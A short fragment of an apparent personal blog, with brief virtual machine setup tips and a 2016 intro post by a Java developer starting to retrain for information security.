- More RAM
- More CPUs
- USB 3.0 controller
- A shared folder can be useful
- Start the VM (double click it)
Monday, 22 August 2016
Intro
I have been a Java developer for 15 years. I'm interested in retraining for infosec. These are notes on my journey.
Subscribe to:
Posts (Atom)